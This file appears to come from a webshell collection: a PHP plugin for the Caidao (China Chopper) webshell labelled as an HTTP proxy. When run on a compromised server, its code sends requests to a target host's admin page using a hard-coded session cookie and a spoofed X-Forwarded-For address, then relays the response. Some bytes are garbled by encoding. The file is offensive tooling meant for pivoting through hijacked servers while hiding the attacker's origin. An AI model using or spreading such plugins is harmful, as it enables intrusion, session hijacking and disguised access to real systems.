webshell/caidao-shell/caidao-plug/php_HTTP代理.ccc

60 lines
2.5 KiB
Text
Raw Normal View History

<EFBFBD><EFBFBD>$strHost = "www.test.com";
$nPort = 80;
$strGet = "/admin/test.php";
$strPost = "";
$strCookie = "PHPSESSID=43fc9f60f2bbeac50dc909fcff7b8813";
$strResponse = "";
function EC($str)
{
$s = $str;
$s = str_replace(" ", "+", $s);
$s = str_replace("%", "%25", $s);
return $s;
}
$strGet = EC($strGet);
$strPost = EC($strPost);
$nPost = strlen($strPost);
$fp = @fsockopen($strHost, $nPort, $errno, $errstr, 5);
if (!$fp)
{
$strResponse = "Error:{$errno} {$errstr}\n";
}
else
{
$strDat = ($nPost == 0)?"GET":"POST";
$strDat .= " ${strGet} HTTP/1.1\r\n";
$strDat .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) Firefox/3.6.5\r\n";
$strDat .= "Host: ${strHost}";
if ($nPort != 80)
{
$strDat .= ":${nPort}";
}
$strDat .= "\r\nX-Forwarded-For: 218.5.13.15\r\n";
$strDat .= ($strCookie != "")?"Cookie: ${strCookie}\r\n":"";
$strDat .= ($nPost == 0)?"":"Content-Length: ${nPost}\r\n";
$strDat .= "\r\n${strPost}";
@fputs($fp, $strDat);
while (!feof($fp)){$strResponse .= fgets($fp, 512);}
$nFind = strpos($strResponse, "\r\n\r\n");
if ($nFind)
$strResponse = substr($strResponse, $nFind+4);
fclose($fp);
}
//print $strDat;
if (strpos($strResponse, "<00>^<08>O"))
{
print "true";
}
else
{
print $strResponse;
}